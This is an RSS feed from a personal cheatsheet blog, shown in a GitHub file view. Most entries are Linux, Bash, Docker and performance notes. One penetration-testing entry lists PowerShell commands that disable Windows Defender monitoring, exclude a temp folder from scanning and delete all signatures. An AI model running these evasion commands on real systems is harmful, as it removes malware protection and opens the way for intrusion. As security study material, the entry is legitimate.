-
Notifications
You must be signed in to change notification settings - Fork 7
Expand file tree
/
Copy pathindex.xml
More file actions
1044 lines (1021 loc) · 162 KB
/
Copy pathindex.xml
File metadata and controls
1044 lines (1021 loc) · 162 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Ceso Adventures</title><link>https://onikenaz.ovh/</link><description>Recent content on Ceso Adventures</description><generator>Hugo</generator><language>en-gb</language><lastBuildDate>Sat, 04 Oct 2025 00:00:00 +0000</lastBuildDate><atom:link href="https://onikenaz.ovh/index.xml" rel="self" type="application/rss+xml"/><item><title>README !</title><link>https://onikenaz.ovh/cheatsheets/hacking/antivirus_bypassing/readme/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/cheatsheets/hacking/antivirus_bypassing/readme/</guid><description><p>Antivirus tend to flag malware by Signature/Heuristics detection, we could bypass these throughout certain techniques
For more details, look up into the [Exploit Development/Reversing/AV|EDR Bypass](<a href="https://ceso.github.io/2020/12/hacking-resources/#exploit-developmentreversingAV">https://ceso.github.io/2020/12/hacking-resources/#exploit-developmentreversingAV</a>|EDR Bypass) Section on the resources part of my blog.</p>
<hr>
<h1 id="if-not-av-bypass-and-admin-disable-defender">If NOT AV Bypass and Admin, DISABLE Defender</h1>
<p>If we have admin creds, we could disable Win Defender, please note THIS IS NEVER a good idea in production environments as this can be monitored!!</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span># Query <span style="color:#66d9ef">if</span> there is already an excluded path
</span></span><span style="display:flex;"><span> Get-MpPreference | select-object -ExpandProperty ExclusionPath
</span></span><span style="display:flex;"><span># Disable real time monitoring
</span></span><span style="display:flex;"><span> Set-MpPreference -DisableRealtimeMonitoring $true
</span></span><span style="display:flex;"><span># Exclude temp dir from monitoring by defender
</span></span><span style="display:flex;"><span> Add-MpPreference -ExclusionPath &#34;C:\windows\temp&#34;
</span></span><span style="display:flex;"><span># Disable Defender ONLY <span style="color:#66d9ef">for</span> downloaded files
</span></span><span style="display:flex;"><span> Set-MpPreference -DisableIOAVProtection $true
</span></span><span style="display:flex;"><span># Or REMOVE ALL Signature<span style="color:#960050;background-color:#1e0010">&#39;</span>s but leave it enabled
</span></span><span style="display:flex;"><span> &#34;C:\Program Files\Windows Defender\MpCmdRun.exe&#34; -RemoveDefinitions -All
</span></span></code></pre></div><hr></description></item><item><title>README !</title><link>https://onikenaz.ovh/cheatsheets/hacking/pivoting/readme/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/cheatsheets/hacking/pivoting/readme/</guid><description><p>It&rsquo;s possible to do pivoting by using proxychains, pure nc&rsquo;s or in case of linux just some fifo files (I will write them down this another methods down maybe in a future), I have used during all the OSCP an awesome tool called (sshuttle)[https://github.com/sshuttle/sshuttle] (it&rsquo;s a transparent proxy server that works like &ldquo;a vpn&rdquo;, and doesn&rsquo;t require with super rights, only thing needed is that the bastion server you will use, needs to have installed python) and sometimes some SSH Forwarding. Something worth to mention nmap doesn&rsquo;t work through sshuttle.</p></description></item><item><title>Bash</title><link>https://onikenaz.ovh/cheatsheets/linux/bash/</link><pubDate>Sat, 04 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/cheatsheets/linux/bash/</guid><description><h1 id="xargs">xargs</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>ls | xargs -I {} mv {} 20080815-{}
</span></span></code></pre></div><hr>
<h1 id="string-substitution">String substitution:</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>STR=/path/to/foo.c
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>echo ${STR%/*} #=&gt; &#34;/path/to&#34;
</span></span><span style="display:flex;"><span>echo ${STR%.c} #=&gt; &#34;/path/to/foo&#34;
</span></span><span style="display:flex;"><span>echo ${STR%.c}.o #=&gt; &#34;/path/to/foo.o&#34;
</span></span><span style="display:flex;"><span>echo ${STR##*.} #=&gt; &#34;c&#34; (extension)
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>BASE=${SRC##*/} #=&gt; &#34;foo.c&#34; (basepath)
</span></span><span style="display:flex;"><span>DIR=${SRC%$BASE} #=&gt; &#34;/path/to&#34;
</span></span><span style="display:flex;"><span>echo ${STR%/*} #=&gt; &#34;/path/to&#34;
</span></span></code></pre></div><hr>
<h1 id="varible-substitution">Varible Substitution</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>echo ${STR/hi/hello} # Replace first match
</span></span><span style="display:flex;"><span>echo ${STR//hi/hello} # Replace all matches
</span></span><span style="display:flex;"><span>echo ${STR/#hi/hello} # ^hi
</span></span><span style="display:flex;"><span>echo ${STR/%hi/hello} # hi$
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>echo &#34;${STR:0:3}&#34; # .substr(0, 3) -- position, length
</span></span><span style="display:flex;"><span>echo &#34;${STR:-3:3}&#34; # Negative position = from the right
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>echo ${#line} # Length of $line
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>[ -z &#34;$CC&#34; ] &amp;&amp; CC=gcc # CC ||= &#34;gcc&#34; assignment
</span></span><span style="display:flex;"><span>$<span style="color:#f92672">{</span>CC:<span style="color:#f92672">=</span>gcc<span style="color:#f92672">}</span> <span style="color:#75715e"># $CC || &#34;gcc&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>#Substring <span style="color:#66d9ef">for</span> first <span style="color:#ae81ff">5</span> characters:
</span></span><span style="display:flex;"><span>$<span style="color:#f92672">{</span>variable:0:5<span style="color:#f92672">}</span>
</span></span></code></pre></div><hr>
<h1 id="regex">Regex</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>if [[ &#34;A&#34; =~ &#34;.&#34; ]]
</span></span></code></pre></div><hr>
<h1 id="numeric-comparisons">Numeric comparisons</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>if (( $a &lt; $b ))
</span></span></code></pre></div><hr>
<h1 id="numeric-calculation">Numeric calculation</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$<span style="color:#f92672">((</span>a + 200<span style="color:#f92672">))</span> <span style="color:#75715e"># $ is optional</span>
</span></span></code></pre></div><hr>
<h1 id="variable-defaults">Variable defaults</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$<span style="color:#f92672">{</span>FOO:-word<span style="color:#f92672">}</span> <span style="color:#75715e"># Returns word</span>
</span></span><span style="display:flex;"><span>$<span style="color:#f92672">{</span>FOO:+word<span style="color:#f92672">}</span> <span style="color:#75715e"># Returns empty, or word if set</span>
</span></span><span style="display:flex;"><span>$<span style="color:#f92672">{</span>FOO:<span style="color:#f92672">=</span>word<span style="color:#f92672">}</span> <span style="color:#75715e"># Sets parameter to word, returns word</span>
</span></span><span style="display:flex;"><span>$<span style="color:#f92672">{</span>FOO:?message<span style="color:#f92672">}</span> <span style="color:#75715e"># Echoes message and exits</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>$<span style="color:#f92672">{</span>FOO<span style="color:#f92672">=</span>word<span style="color:#f92672">}</span> <span style="color:#75715e"># : is optional in all of the above</span>
</span></span></code></pre></div><hr>
<h1 id="random-numbers">Random numbers</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$<span style="color:#f92672">((</span>RANDOM%<span style="color:#f92672">=</span>200<span style="color:#f92672">))</span> <span style="color:#75715e"># Random number 0..200</span>
</span></span><span style="display:flex;"><span>set -o noclobber # Avoid overlay files (echo &#34;hi&#34; &gt; foo)
</span></span><span style="display:flex;"><span>set -o errexit # Used to exit upon error, avoiding cascading errors
</span></span><span style="display:flex;"><span>set -o pipefail # Unveils hidden failures
</span></span><span style="display:flex;"><span>set -o nounset # Exposes unset variables
</span></span></code></pre></div><hr>
<h1 id="references">References</h1>
<p><a href="http://wiki.bash-hackers.org/doku.php">http://wiki.bash-hackers.org/doku.php</a></p></description></item><item><title>CoreOS</title><link>https://onikenaz.ovh/cheatsheets/linux/coreos/</link><pubDate>Sat, 04 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/cheatsheets/linux/coreos/</guid><description><h1 id="delete-all-images-and-all-instances">Delete all images and all instances:</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>docker ps -a|awk &#39;{print $1}&#39;|grep -v CONTAINER|while read a;do docker rm -f $a;done
</span></span><span style="display:flex;"><span>docker images|awk &#39;{print $3}&#39;|grep -v IMAGE|while read a;do docker rmi -f $a;done
</span></span></code></pre></div><hr>
<h1 id="connect-to-vm">Connect to VM</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>DOCKER_NAME=ace-app
</span></span><span style="display:flex;"><span>PID=$(docker inspect --format &#39;{{.State.Pid}}&#39; $DOCKER_NAME)
</span></span><span style="display:flex;"><span>sudo nsenter --target $PID --mount --uts --ipc --net --pid
</span></span></code></pre></div><hr>
<h1 id="forward-ports-to-internal">Forward ports to internal</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>iptables -D PREROUTING -t nat -i enp0s8 -p tcp --dport 80 -j DNAT --to 10.1.0.56:80
</span></span></code></pre></div><hr>
<h1 id="logs">Logs</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>journalctl --follow
</span></span></code></pre></div><hr>
<h1 id="systemd">systemd</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>systemctl start &lt;process&gt;
</span></span><span style="display:flex;"><span>systemctl stop &lt;process&gt;
</span></span><span style="display:flex;"><span>systemctl reload-daemon
</span></span></code></pre></div><hr>
<h1 id="q-how-do-i-change-the-current-runlevel">Q: How do I change the current runlevel?</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>systemctl isolate runlevel5.target
</span></span><span style="display:flex;"><span>systemctl isolate graphical.target
</span></span></code></pre></div><hr>
<h1 id="q-how-do-i-change-the-default-runlevel-to-boot-into">Q: How do I change the default runlevel to boot into?</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>ln -sf /usr/lib/systemd/system/multi-user.target /etc/systemd/system/default.target
</span></span><span style="display:flex;"><span>ln -sf /usr/lib/systemd/system/graphical.target /etc/systemd/system/default.target
</span></span></code></pre></div><hr>
<h1 id="docker-functions">Docker functions</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>docker_connect () {
</span></span><span style="display:flex;"><span> DOCKER_NAME=$1
</span></span><span style="display:flex;"><span> PID=$(docker inspect --format &#39;{{.State.Pid}}&#39; $DOCKER_NAME)
</span></span><span style="display:flex;"><span> sudo nsenter --target $PID --mount --uts --ipc --net --pid
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>docker_nuke() {
</span></span><span style="display:flex;"><span> docker ps -q | xargs docker stop
</span></span><span style="display:flex;"><span> docker ps -q -a | xargs docker rm
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>docker_rmi_none() {
</span></span><span style="display:flex;"><span> docker images | grep &#39;&lt;none&gt;&#39; | \
</span></span><span style="display:flex;"><span> awk &#39;{ print $3 }&#39; | \
</span></span><span style="display:flex;"><span> xargs docker rmi
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>docker_go() {
</span></span><span style="display:flex;"><span> docker run --rm -t -i $@
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>docker_rm_stop() {
</span></span><span style="display:flex;"><span> (docker ps -q -a;docker ps -q) | \
</span></span><span style="display:flex;"><span> sort | \
</span></span><span style="display:flex;"><span> uniq -u | \
</span></span><span style="display:flex;"><span> xargs docker rm
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><hr>
<h1 id="etcd">etcd</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>curl -X GET http://localhost:5000/v1/search?q=postgresql
</span></span><span style="display:flex;"><span>curl -s -X GET http://meerkat.dev.o2.co.uk:8080/v1/search|python -mjson.tool
</span></span><span style="display:flex;"><span>curl -s -X GET http://meerkat.dev.o2.co.uk:8080/v1/repositories/jenkins-slave/tags|python -mjson.tool
</span></span></code></pre></div><hr></description></item><item><title>General</title><link>https://onikenaz.ovh/cheatsheets/linux/general/</link><pubDate>Sat, 04 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/cheatsheets/linux/general/</guid><description><h1 id="user-run-command-as-different-user-with-binnologin">User. Run command as different user with /bin/nologin</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>sudo -u user &lt;command&gt;
</span></span><span style="display:flex;"><span>su -m user -c &#39;command&#39;
</span></span></code></pre></div><hr>
<h1 id="run-levels---get-current-runlevel">Run Levels - get current runlevel</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>runlevel
</span></span></code></pre></div><hr>
<h1 id="crontab">Crontab</h1>
<p><a href="https://crontab.guru/">https://crontab.guru/</a></p>
<hr>
<h1 id="filesystem">Filesystem</h1>
<h2 id="filesystem-tuning">Filesystem tuning</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>tune2fs -c 0 /dev/hda1 =&gt; Set number of mounts between checks. 0 is disable
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>blkid /dev/hda1 =&gt; Get the filesystem id:
</span></span><span style="display:flex;"><span>findfs UUID=d40acb36-5f32-4832-bf1a-80c67833a618 =&gt; reverse uuid lookup
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>ls -l /dev/disk/by-*/ =&gt; List by different types:
</span></span></code></pre></div><h2 id="list-filesystems-suppported">List filesystems suppported</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>cat /proc/filesystems
</span></span></code></pre></div><hr>
<h1 id="kernel">Kernel</h1>
<h2 id="check-shared-memory">Check shared memory</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>ipcs
</span></span></code></pre></div><h2 id="check-current-max-and-min">Check current max and min</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>/proc/sys/kernel
</span></span><span style="display:flex;"><span>sysctl -a
</span></span></code></pre></div><h2 id="change-parameters">Change parameters</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>sysctl -p /etc/sysctl.conf
</span></span></code></pre></div><hr>
<h1 id="flush-disk-cache">Flush Disk Cache</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>echo 3 | sudo tee /proc/sys/vm/drop_caches
</span></span></code></pre></div><hr>
<h1 id="see-video-in-youtube">See video in youtube</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>mplayer $(youtube-dl -g https://www.youtube.com/watch?v=hqtZnJg9TM0)
</span></span></code></pre></div><hr>
<h1 id="create-a-socks-proxy-with-ssh">Create a socks proxy with ssh</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>ssh -v -D 4545 USER@WTF_DESKTOP
</span></span></code></pre></div><h2 id="local-port-forwarding-allows-you-connect-from-your-local-computer-to-another-server">Local port forwarding: allows you connect from your local computer to another server</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>ssh -L 8080:www.ubuntuforums.org:80 host
</span></span></code></pre></div><h2 id="sssh-without-prompting">Sssh without prompting</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>alias ssh=&#39;ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -q&#39;
</span></span></code></pre></div><hr>
<h1 id="change-samba-password">Change samba password</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>smbpasswd -r london.net-a-porter.com -U &lt;username&gt;
</span></span></code></pre></div><hr>
<h1 id="hexdata-to-binary">Hexdata to binary</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>xxd bdata | xxd -r &gt;bdata2
</span></span></code></pre></div><hr>
<h1 id="raw-data-recovery">RAW data recovery</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>foremost
</span></span></code></pre></div><hr>
<h1 id="find-latest-files-that-changed-in-a-dir-and-subdir">Find latest files that changed in a dir and subdir</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>find . -type f|xargs ls -alrt
</span></span></code></pre></div><hr>
<h1 id="creating-patches">Creating patches</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>diff -Naur oldfile newfile &gt; new-patch
</span></span><span style="display:flex;"><span>diff &lt;( ssh -nq lmn-prd-sendmailrelay001 cat /etc/mail/access ) &lt;( ssh -qn prdlmn4912 cat /etc/mail/access )
</span></span></code></pre></div><p>Apply patches:</p></description></item><item><title>Performance</title><link>https://onikenaz.ovh/cheatsheets/linux/performance/</link><pubDate>Sat, 04 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/cheatsheets/linux/performance/</guid><description><h1 id="diagrams">Diagrams</h1>
<p><a href="http://www.slideshare.net/slideshow/embed_code/16739605#">http://www.slideshare.net/slideshow/embed_code/16739605#</a></p>
<hr>
<h1 id="load-average-across-time-load-average-can-be-impacted-by-io">Load average across time. Load average can be impacted by IO</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>uptime
</span></span></code></pre></div><hr>
<h1 id="on-top-the-process-list-does-not-show-kernel-threads">On TOP The process list does not show KERNEL threads</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>top
</span></span><span style="display:flex;"><span>htop
</span></span><span style="display:flex;"><span>atop
</span></span><span style="display:flex;"><span>nmon =&gt; press c + m + d + n
</span></span></code></pre></div><hr>
<h1 id="network-graphical-tools">Network graphical tools</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>iftop
</span></span><span style="display:flex;"><span>nload
</span></span></code></pre></div><hr>
<h1 id="multi-processor-statistics">Multi processor statistics</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>mpstat -P ALL 1
</span></span></code></pre></div><hr>
<h1 id="disk-io-statistics-first-output-is-summary-since-boot">DISK I/O Statistics, First output is summary since boot</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>iostat -xkdz 1A
</span></span></code></pre></div><hr>
<h1 id="virtual-memory-statistics-first-line-include-some-summaries-since-boot-values">Virtual Memory statistics. First line include some summaries since boot values</h1>
<h1 id="r-total-number-of-runnable-threads-including-those-running">r= total number of runnable threads, including those running</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>vmstat 1
